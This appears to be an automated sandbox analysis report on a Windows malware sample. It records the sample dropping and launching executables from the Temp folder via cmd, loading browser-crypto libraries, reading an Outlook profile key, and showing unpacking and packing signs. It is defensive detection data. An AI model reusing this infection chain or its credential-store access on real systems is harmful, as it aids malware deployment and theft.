Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 60%

Source: KKKJKEBKFC.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\BAAAKJDAAF.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe "C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe"
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe "C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\BAAAKJDAAF.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe "C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe "C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.ui.immersive.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47mrm.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uianimation.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 2465792 > 1048576

Source: file.exe

Static PE information: Raw size of .data is bigger than: 0x100000 < 0x216c00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1902923177.000000006C82F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1902923177.000000006C82F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.b00000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.data:EW; vs Unknown_Section0:EW;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:EW;.data:EW;
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	Unpacked PE file: 6.2.KKKJKEBKFC.exe.e40000.0.unpack :EW;.rsrc:W;.idata :W; :EW;puezhyxb:EW;rrssvbkz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;puezhyxb:EW;rrssvbkz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 10.2.explorti.exe.960000.0.unpack :EW;.rsrc:W;.idata :W; :EW;puezhyxb:EW;rrssvbkz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;puezhyxb:EW;rrssvbkz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 11.2.explorti.exe.960000.0.unpack :EW;.rsrc:W;.idata :W; :EW;puezhyxb:EW;rrssvbkz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;puezhyxb:EW;rrssvbkz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe	Unpacked PE file: 12.2.2e80f9dd27.exe.b00000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.data:EW; vs Unknown_Section0:EW;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:EW;.data:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C65C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C65C410

Source: initial sample

Static PE information: section where entry point is pointing to: .data

Source: explorti.exe.6.dr	Static PE information: real checksum: 0x1dcdd8 should be: 0x1da665
Source: random[1].exe.10.dr	Static PE information: real checksum: 0x0 should be: 0x2644e2
Source: 2e80f9dd27.exe.10.dr	Static PE information: real checksum: 0x0 should be: 0x2644e2
Source: file.exe	Static PE information: real checksum: 0x0 should be: 0x2644e2
Source: KKKJKEBKFC.exe.0.dr	Static PE information: real checksum: 0x1dcdd8 should be: 0x1da665
Source: amadka[1].exe.0.dr	Static PE information: real checksum: 0x1dcdd8 should be: 0x1da665

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: KKKJKEBKFC.exe.0.dr	Static PE information: section name:
Source: KKKJKEBKFC.exe.0.dr	Static PE information: section name: .idata
Source: KKKJKEBKFC.exe.0.dr	Static PE information: section name:
Source: KKKJKEBKFC.exe.0.dr	Static PE information: section name: puezhyxb
Source: KKKJKEBKFC.exe.0.dr	Static PE information: section name: rrssvbkz
Source: KKKJKEBKFC.exe.0.dr	Static PE information: section name: .taggant
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name: .idata
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name: puezhyxb
Source: amadka[1].exe.0.dr	Static PE information: section name: rrssvbkz
Source: amadka[1].exe.0.dr	Static PE information: section name: .taggant
Source: explorti.exe.6.dr	Static PE information: section name:
Source: explorti.exe.6.dr	Static PE information: section name: .idata
Source: explorti.exe.6.dr	Static PE information: section name:
Source: explorti.exe.6.dr	Static PE information: section name: puezhyxb
Source: explorti.exe.6.dr	Static PE information: section name: rrssvbkz
Source: explorti.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe.10.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name:
Source: 2e80f9dd27.exe.10.dr	Static PE information: section name:
Source: 2e80f9dd27.exe.10.dr	Static PE information: section name:
Source: 2e80f9dd27.exe.10.dr	Static PE information: section name:
Source: 2e80f9dd27.exe.10.dr	Static PE information: section name:
Source: 2e80f9dd27.exe.10.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62B536 push ecx; ret	0_2_6C62B549
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 10_2_0097D82C push ecx; ret	10_2_0097D83F
